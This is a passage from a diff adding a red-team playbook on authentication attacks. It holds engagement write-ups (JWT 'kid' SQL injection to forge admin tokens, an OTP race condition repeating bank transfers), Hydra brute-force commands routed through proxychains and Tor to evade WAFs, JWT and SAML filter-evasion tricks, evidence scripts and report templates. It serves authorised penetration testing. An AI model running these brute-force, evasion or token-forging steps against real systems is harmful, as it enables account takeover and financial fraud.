|
+
|
|
1539
|
+
**Attack Chain:**
|
|
1540
|
+
1. Decoded JWT header: `{"alg": "HS256", "kid": "key-prod-1"}`
|
|
1541
|
+
2. Injected SQL into kid: `' UNION SELECT 'mykey'-- -`
|
|
1542
|
+
3. Signed token with `mykey` as the HMAC secret
|
|
1543
|
+
4. API verified token successfully — SQL injection forced it to use `mykey`
|
|
1544
|
+
5. Modified payload: `{"sub": "1", "role": "admin"}`
|
|
1545
|
+
|
|
1546
|
+
**Impact:** Admin-level API access, access to all user financial data.
|
|
1547
|
+
|
|
1548
|
+
---
|
|
1549
|
+
|
|
1550
|
+
### Engagement 6: Race Condition OTP Bypass
|
|
1551
|
+
|
|
1552
|
+
**Scenario:** A banking application used 6-digit TOTP for transaction authorization.
|
|
1553
|
+
|
|
1554
|
+
**Attack Chain:**
|
|
1555
|
+
1. Captured a pending transaction authorization request
|
|
1556
|
+
2. Obtained the TOTP code from a test account
|
|
1557
|
+
3. Sent 50 simultaneous POST requests using Python threading
|
|
1558
|
+
4. 3 of the 50 requests succeeded (server processed them before marking OTP as used)
|
|
1559
|
+
5. All 3 triggered the bank transfer
|
|
1560
|
+
|
|
1561
|
+
**Impact:** Demonstrated that a single TOTP code could authorize multiple transactions.
|
|
1562
|
+
|
|
1563
|
+
---
|
|
1564
|
+
|
|
1565
|
+
## 7. WAF Bypass Techniques
|
|
1566
|
+
|
|
1567
|
+
### Hydra / Brute Force WAF Bypass
|
|
1568
|
+
|
|
1569
|
+
```bash
|
|
1570
|
+
# Rotate user agents
|
|
1571
|
+
hydra -L users.txt -P pass.txt target.com http-post-form \
|
|
1572
|
+
"/login:user=^USER^&pass=^PASS^:error" \
|
|
1573
|
+
-t 1 -w 10 \
|
|
1574
|
+
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
1575
|
+
|
|
1576
|
+
# Use proxy chain to rotate IPs
|
|
1577
|
+
proxychains hydra -L users.txt -P pass.txt target.com \
|
|
1578
|
+
http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
|
|
1579
|
+
|
|
1580
|
+
# Add delays to avoid rate limiting
|
|
1581
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1582
|
+
http-post-form "/login:user=^USER^&pass=^PASS^:error" \
|
|
1583
|
+
-t 1 -W 30 # 30-second wait between attempts
|
|
1584
|
+
|
|
1585
|
+
# Rotate source IPs with Tor
|
|
1586
|
+
torsocks hydra -L users.txt -P pass.txt target.com \
|
|
1587
|
+
http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
|
|
1588
|
+
```
|
|
1589
|
+
|
|
1590
|
+
### JWT WAF Bypass
|
|
1591
|
+
|
|
1592
|
+
```bash
|
|
1593
|
+
# Encode the token differently
|
|
1594
|
+
# Some WAFs block standard JWT patterns
|
|
1595
|
+
|
|
1596
|
+
# URL-encode the dots
|
|
1597
|
+
curl -H "Authorization: Bearer $(echo $TOKEN | sed 's/\./\%2E/g')" \
|
|
1598
|
+
https://target.com/api/profile
|
|
1599
|
+
|
|
1600
|
+
# Use different header casing
|
|
1601
|
+
curl -H "authorization: Bearer $TOKEN" https://target.com/api/profile
|
|
1602
|
+
curl -H "AUTHORIZATION: Bearer $TOKEN" https://target.com/api/profile
|
|
1603
|
+
|
|
1604
|
+
# Use token in query parameter (if application supports it)
|
|
1605
|
+
curl "https://target.com/api/profile?access_token=$TOKEN"
|
|
1606
|
+
curl "https://target.com/api/profile?jwt=$TOKEN"
|
|
1607
|
+
curl "https://target.com/api/profile?token=$TOKEN"
|
|
1608
|
+
|
|
1609
|
+
# Cookie-based token
|
|
1610
|
+
curl -H "Cookie: access_token=$TOKEN; jwt=$TOKEN; auth=$TOKEN" \
|
|
1611
|
+
https://target.com/api/profile
|
|
1612
|
+
|
|
1613
|
+
# Mixed case alg to confuse WAF but pass to parser
|
|
1614
|
+
# "HS256" -> "Hs256" -> "hS256" (depends on parser)
|
|
1615
|
+
```
|
|
1616
|
+
|
|
1617
|
+
### SAML WAF Bypass
|
|
1618
|
+
|
|
1619
|
+
```bash
|
|
1620
|
+
# XML encoding bypass
|
|
1621
|
+
# Replace characters in the NameID with XML entities
|
|
1622
|
+
# admin -> admin
|
|
1623
|
+
|
|
1624
|
+
# Namespace confusion
|
|
1625
|
+
# Add unexpected namespaces to confuse WAF pattern matching
|
|
1626
|
+
|
|
1627
|
+
# Comment insertion
|
|
1628
|
+
# Insert XML comments between significant tokens
|
|
1629
|
+
|
|
1630
|
+
# CDATA wrapping
|
|
1631
|
+
# <saml:NameID><![CDATA[admin@target.com]]></saml:NameID>
|
|
1632
|
+
|
|
1633
|
+
# Whitespace injection
|
|
1634
|
+
# <saml:NameID> admin@target.com </saml:NameID>
|
|
1635
|
+
# Many parsers trim whitespace; WAF might not match with whitespace
|
|
1636
|
+
|
|
1637
|
+
# Unicode normalization
|
|
1638
|
+
# Use Unicode look-alike characters in NameID
|
|
1639
|
+
# (if the server normalizes Unicode before lookup)
|
|
1640
|
+
```
|
|
1641
|
+
|
|
1642
|
+
---
|
|
1643
|
+
|
|
1644
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1645
|
+
|
|
1646
|
+
### Autodoc Tagging
|
|
1647
|
+
|
|
1648
|
+
All findings should be tagged for the RTExit autodoc engine using the following format:
|
|
1649
|
+
|
|
1650
|
+
```bash
|
|
1651
|
+
# In your notes or reporting scripts, use RTExit tags:
|
|
1652
|
+
|
|
1653
|
+
# FINDING: Authentication bypass via JWT algorithm confusion
|
|
1654
|
+
# SEVERITY: Critical
|
|
1655
|
+
# CVSS: 9.8
|
|
1656
|
+
# TECHNIQUE: rt-exploit-auth/jwt-algorithm-confusion
|
|
1657
|
+
# TOOL: jwt_tool
|
|
1658
|
+
# EVIDENCE: /tmp/findings/jwt_confusion_$(date +%Y%m%d_%H%M%S)/
|
|
1659
|
+
```
|
|
1660
|
+
|
|
1661
|
+
### Evidence Collection Script
|
|
1662
|
+
|
|
1663
|
+
```bash
|
|
1664
|
+
#!/bin/bash
|
|
1665
|
+
# RTExit evidence collector for auth findings
|
|
1666
|
+
|
|
1667
|
+
ENGAGEMENT="ENG-2024-001"
|
|
1668
|
+
FINDING_ID="AUTH-001"
|
|
1669
|
+
EVIDENCE_DIR="/tmp/rtexit/${ENGAGEMENT}/${FINDING_ID}"
|
|
1670
|
+
mkdir -p "$EVIDENCE_DIR"
|
|
1671
|
+
|
|
1672
|
+
# Capture JWT finding evidence
|
|
1673
|
+
capture_jwt_finding() {
|
|
1674
|
+
local token="$1"
|
|
1675
|
+
local forged="$2"
|
|
1676
|
+
local description="$3"
|
|
1677
|
+
|
|
1678
|
+
echo "=== JWT Finding Evidence ===" > "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1679
|
+
echo "Date: $(date -u)" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1680
|
+
echo "Original Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1681
|
+
echo "$token" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1682
|
+
echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1683
|
+
echo "Forged Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1684
|
+
echo "$forged" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1685
|
+
echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1686
|
+
echo "Description: $description" >> "$EVIDENCE_DIR/jwt_finding.txt"
|
|
1687
|
+
|
|
1688
|
+
# Save decoded tokens
|
|
1689
|
+
echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
|
|
1690
|
+
> "$EVIDENCE_DIR/original_payload.json"
|
|
1691
|
+
echo "$forged" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
|
|
1692
|
+
> "$EVIDENCE_DIR/forged_payload.json"
|
|
1693
|
+
|
|
1694
|
+
echo "[+] Evidence saved to $EVIDENCE_DIR"
|
|
1695
|
+
}
|
|
1696
|
+
|
|
1697
|
+
# Capture HTTP responses as evidence
|
|
1698
|
+
capture_response() {
|
|
1699
|
+
local url="$1"
|
|
1700
|
+
local headers="$2"
|
|
1701
|
+
local output_file="$EVIDENCE_DIR/response_$(date +%s).txt"
|
|
1702
|
+
|
|
1703
|
+
curl -v -H "$headers" "$url" 2>&1 | tee "$output_file"
|
|
1704
|
+
echo "[+] Response saved to $output_file"
|
|
1705
|
+
}
|
|
1706
|
+
|
|
1707
|
+
# Generate finding report snippet
|
|
1708
|
+
generate_finding_report() {
|
|
1709
|
+
cat > "$EVIDENCE_DIR/finding_report.md" << EOF
|
|
1710
|
+
## Finding: ${FINDING_ID}
|
|
1711
|
+
|
|
1712
|
+
**Technique:** JWT Algorithm Confusion (RS256 -> HS256)
|
|
1713
|
+
**Severity:** Critical
|
|
1714
|
+
**CVSS Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
|
1715
|
+
**Engagement:** ${ENGAGEMENT}
|
|
1716
|
+
|
|
1717
|
+
### Summary
|
|
1718
|
+
The application's JWT validation accepts the algorithm specified in the token header
|
|
1719
|
+
without validating it against the expected algorithm. By switching from RS256 to HS256
|
|
1720
|
+
and signing with the server's RSA public key as the HMAC secret, an attacker can forge
|
|
1721
|
+
arbitrary JWT tokens with elevated privileges.
|
|
1722
|
+
|
|
1723
|
+
### Evidence
|
|
1724
|
+
- Original token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Original Token:" -A1 | tail -1)
|
|
1725
|
+
- Forged token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Forged Token:" -A1 | tail -1)
|
|
1726
|
+
- Server response: See response_*.txt files
|
|
1727
|
+
|
|
1728
|
+
### Remediation
|
|
1729
|
+
1. Hardcode the expected algorithm in the JWT verification configuration
|
|
1730
|
+
2. Do not accept the algorithm from the token header
|
|
1731
|
+
3. Use a well-maintained JWT library (e.g., python-jose, jsonwebtoken)
|
|
1732
|
+
4. Validate the `alg` claim explicitly before signature verification
|
|
1733
|
+
|
|
1734
|
+
### References
|
|
1735
|
+
- PortSwigger: https://portswigger.net/web-security/jwt/algorithm-confusion
|
|
1736
|
+
- RFC 7518: https://tools.ietf.org/html/rfc7518
|
|
1737
|
+
EOF
|
|
1738
|
+
echo "[+] Finding report saved to $EVIDENCE_DIR/finding_report.md"
|
|
1739
|
+
}
|
|
1740
|
+
```
|
|
1741
|
+
|
|
1742
|
+
### RTExit Autodoc Integration Commands
|
|
1743
|
+
|
|
1744
|
+
```bash
|
|
1745
|
+
# Register a finding with RTExit
|
|
1746
|
+
rtexit finding add \
|
|
1747
|
+
--skill rt-exploit-auth \
|
|
1748
|
+
--technique jwt-algorithm-confusion \
|
|
1749
|
+
--severity critical \
|
|
1750
|
+
--evidence-dir /tmp/rtexit/ENG-001/AUTH-001
|
|
1751
|
+
|
|
1752
|
+
# Generate section in report
|
|
1753
|
+
rtexit report section auth \
|
|
1754
|
+
--engagement ENG-001 \
|
|
1755
|
+
--template auth-findings
|
|
1756
|
+
|
|
1757
|
+
# Attach screenshot evidence
|
|
1758
|
+
rtexit evidence attach \
|
|
1759
|
+
--finding AUTH-001 \
|
|
1760
|
+
--file /tmp/burp_screenshot.png \
|
|
1761
|
+
--caption "Burp Repeater showing admin access with forged JWT"
|
|
1762
|
+
|
|
1763
|
+
# Mark finding as verified
|
|
1764
|
+
rtexit finding verify AUTH-001 --verified-by "operator@team.com"
|
|
1765
|
+
```
|
|
1766
|
+
|
|
1767
|
+
---
|
|
1768
|
+
|
|
1769
|
+
## 9. Output and Documentation Instructions
|
|
1770
|
+
|
|
1771
|
+
### Evidence Capture Checklist
|
|
1772
|
+
|
|
1773
|
+
For every authentication finding, capture the following:
|
|
1774
|
+
|
|
1775
|
+
**JWT Findings:**
|
|
1776
|
+
- [ ] Original JWT (decoded header + payload)
|
|
1777
|
+
- [ ] Forged JWT (decoded header + payload showing modification)
|
|
1778
|
+
- [ ] HTTP request with forged token
|
|
1779
|
+
- [ ] HTTP response showing successful bypass
|
|
1780
|
+
- [ ] Screenshots of Burp Repeater
|
|
1781
|
+
- [ ] Public key used (if algorithm confusion)
|
|
1782
|
+
- [ ] Script/commands used to forge the token
|
|
1783
|
+
|
|
1784
|
+
**Password Attack Findings:**
|
|
1785
|
+
- [ ] List of credentials discovered (username:password pairs)
|
|
1786
|
+
- [ ] Hydra/Medusa output log
|
|
1787
|
+
- [ ] Confirmation of successful login (HTTP 302 or session token)
|
|
1788
|
+
- [ ] Evidence of lack of lockout (if applicable)
|
|
1789
|
+
- [ ] Number of attempts sent without lockout
|
|
1790
|
+
|
|
1791
|
+
**OAuth Findings:**
|
|
1792
|
+
- [ ] Original authorization URL
|
|
1793
|
+
- [ ] Modified authorization URL with bypass
|
|
1794
|
+
- [ ] Captured authorization code
|
|
1795
|
+
- [ ] Token exchange request/response
|
|
1796
|
+
- [ ] Confirmation of account access
|
|
1797
|
+
|
|
1798
|
+
**MFA Bypass Findings:**
|
|
1799
|
+
- [ ] Burp intercept of MFA request and modified response
|
|
1800
|
+
- [ ] Original and modified JSON
|
|
1801
|
+
- [ ] Confirmation of dashboard access without valid OTP
|
|
1802
|
+
- [ ] Session tokens obtained
|
|
1803
|
+
|
|
1804
|
+
**SAML Findings:**
|
|
1805
|
+
- [ ] Original SAML assertion (XML, formatted)
|
|
1806
|
+
- [ ] Modified SAML assertion (XML, formatted)
|
|
1807
|
+
- [ ] Base64 encoded payload sent
|
|
1808
|
+
- [ ] Application response confirming bypass
|
|
1809
|
+
|
|
1810
|
+
### Documentation Format
|
|
1811
|
+
|
|
1812
|
+
```markdown
|
|
1813
|
+
## Authentication Finding: [SHORT TITLE]
|
|
1814
|
+
|
|
1815
|
+
**Date:** YYYY-MM-DD HH:MM UTC
|
|
1816
|
+
**Operator:** [Operator name/handle]
|
|
1817
|
+
**Target:** https://target.com
|
|
1818
|
+
**Endpoint:** /api/specific/endpoint
|
|
1819
|
+
**Technique:** [e.g., JWT Algorithm Confusion]
|
|
1820
|
+
**Severity:** [Critical/High/Medium/Low]
|
|
1821
|
+
|
|
1822
|
+
### Steps to Reproduce
|
|
1823
|
+
|
|
1824
|
+
1. [Exact step with commands]
|
|
1825
|
+
2. [Exact step with commands]
|
|
1826
|
+
3. [Confirm impact]
|
|
1827
|
+
|
|
1828
|
+
### Evidence
|
|
1829
|
+
|
|
1830
|
+
```http
|
|
1831
|
+
POST /api/login HTTP/1.1
|
|
1832
|
+
Host: target.com
|
|
1833
|
+
Authorization: Bearer [FORGED_TOKEN]
|
|
1834
|
+
|
|
1835
|
+
HTTP/1.1 200 OK
|
|
1836
|
+
{"status": "authenticated", "role": "admin"}
|
|
1837
|
+
` ``
|
|
1838
|
+
|
|
1839
|
+
### Impact
|
|
1840
|
+
|
|
1841
|
+
[Describe business impact]
|
|
1842
|
+
|
|
1843
|
+
### Remediation
|
|
1844
|
+
|
|
1845
|
+
[Specific remediation steps]
|
|
1846
|
+
```
|
|
1847
|
+
|
|
1848
|
+
---
|
|
1849
|
+
|
|
1850
|
+
## 10. Resources
|
|
1851
|
+
|
|
1852
|
+
### JWT Tools and Libraries
|
|
1853
|
+
|
|
1854
|
+
- **jwt_tool** — Swiss army knife for JWT attacks
|
|
1855
|
+
https://github.com/ticarpi/jwt_tool
|
|
1856
|
+
|
|
1857
|
+
- **PyJWT** — Python JWT library (use for legitimate JWT generation)
|
|
1858
|
+
https://github.com/jpadilla/pyjwt
|
|
1859
|
+
|
|
1860
|
+
- **python-jose** — JOSE standards implementation
|
|
1861
|
+
https://github.com/mpdavis/python-jose
|
|
1862
|
+
|
|
1863
|
+
- **JWT.io** — Online JWT decoder and inspector
|
|
1864
|
+
https://jwt.io
|
|
1865
|
+
|
|
1866
|
+
- **PortSwigger JWT Labs** — Hands-on JWT attack practice
|
|
1867
|
+
https://portswigger.net/web-security/jwt
|
|
1868
|
+
|
|
1869
|
+
- **rsa_sign2n** — Derive RSA public key from two JWT tokens
|
|
1870
|
+
https://github.com/silentsignal/rsa_sign2n
|
|
1871
|
+
|
|
1872
|
+
### OAuth / OIDC Tools
|
|
1873
|
+
|
|
1874
|
+
- **oauth2-proxy** — Reference implementation
|
|
1875
|
+
https://github.com/oauth2-proxy/oauth2-proxy
|
|
1876
|
+
|
|
1877
|
+
- **TokenSmith** — OAuth token manipulation tool
|
|
1878
|
+
https://github.com/TokenSmith/TokenSmith
|
|
1879
|
+
|
|
1880
|
+
- **PortSwigger OAuth Labs**
|
|
1881
|
+
https://portswigger.net/web-security/oauth
|
|
1882
|
+
|
|
1883
|
+
### Password Attack Tools
|
|
1884
|
+
|
|
1885
|
+
- **Hydra** — Network login brute force tool
|
|
1886
|
+
https://github.com/vanhauser-thc/thc-hydra
|
|
1887
|
+
|
|
1888
|
+
- **Medusa** — Parallel network login auditor
|
|
1889
|
+
http://foofus.net/goons/jmk/medusa/medusa.html
|
|
1890
|
+
|
|
1891
|
+
- **Spray** — Smart password spraying tool
|
|
1892
|
+
https://github.com/Greenwolf/Spray
|
|
1893
|
+
|
|
1894
|
+
- **MSOLSpray** — Office 365 password sprayer
|
|
1895
|
+
https://github.com/dafthack/MSOLSpray
|
|
1896
|
+
|
|
1897
|
+
- **Kerbrute** — Active Directory brute force / spraying
|
|
1898
|
+
https://github.com/ropnop/kerbrute
|
|
1899
|
+
|
|
1900
|
+
- **SecLists** — Comprehensive wordlists collection
|
|
1901
|
+
https://github.com/danielmiessler/SecLists
|
|
1902
|
+
|
|
1903
|
+
- **CeWL** — Custom wordlist generator from web content
|
|
1904
|
+
https://github.com/digininja/CeWL
|
|
1905
|
+
|
|
1906
|
+
### SAML Tools
|
|
1907
|
+
|
|
1908
|
+
- **SAMLraider** — Burp Suite SAML testing plugin
|
|
1909
|
+
https://github.com/CompassSecurity/SAMLRaider
|
|
1910
|
+
|
|
1911
|
+
- **SAMLTool** — Online SAML decoder and analyzer
|
|
1912
|
+
https://www.samltool.com
|
|
1913
|
+
|
|
1914
|
+
- **PortSwigger SAML Labs**
|
|
1915
|
+
https://portswigger.net/web-security/saml
|
|
1916
|
+
|
|
1917
|
+
- **pysaml2** — Python SAML2 library
|
|
1918
|
+
https://github.com/IdentityPython/pysaml2
|
|
1919
|
+
|
|
1920
|
+
### MFA / OTP Tools
|
|
1921
|
+
|
|
1922
|
+
- **oathtool** — TOTP/HOTP command line tool
|
|
1923
|
+
https://www.nongnu.org/oath-toolkit/
|
|
1924
|
+
|
|
1925
|
+
- **Turbo Intruder** — High-speed Burp extension for race conditions
|
|
1926
|
+
https://github.com/PortSwigger/turbo-intruder
|
|
1927
|
+
|
|
1928
|
+
### Key References and Reading
|
|
1929
|
+
|
|
1930
|
+
- JWT RFC 7519: https://tools.ietf.org/html/rfc7519
|
|
1931
|
+
- JWT Algorithms RFC 7518: https://tools.ietf.org/html/rfc7518
|
|
1932
|
+
- OAuth 2.0 RFC 6749: https://tools.ietf.org/html/rfc6749
|
|
1933
|
+
- PKCE RFC 7636: https://tools.ietf.org/html/rfc7636
|
|
1934
|
+
- OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
|
|
1935
|
+
- OWASP JWT Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
|
|
1936
|
+
- PortSwigger Web Security Academy: https://portswigger.net/web-security
|
|
1937
|
+
- HackTricks JWT Attacks: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
|
|
1938
|
+
- HackTricks OAuth: https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
|
|
1939
|
+
- Auth0 Docs (understanding OAuth/OIDC): https://auth0.com/docs
|
|
1940
|
+
- NIST SP 800-63B (Digital Identity Guidelines): https://pages.nist.gov/800-63-3/sp800-63b.html
|
|
1941
|
+
|
|
1942
|
+
### CVEs Related to JWT Libraries
|
|
1943
|
+
|
|
1944
|
+
- CVE-2015-9235 — jsonwebtoken none algorithm bypass
|
|
1945
|
+
- CVE-2016-10555 — jwt-simple algorithm confusion
|
|
1946
|
+
- CVE-2018-0114 — Cisco JWT none algorithm
|
|
1947
|
+
- CVE-2020-28042 — python-jwt algorithm confusion (RS/HS)
|
|
1948
|
+
- CVE-2022-21449 — Java ECDSA "Psychic Signatures" (Java 15-17)
|
|
1949
|
+
- CVE-2022-23529 — jsonwebtoken signature validation bypass
|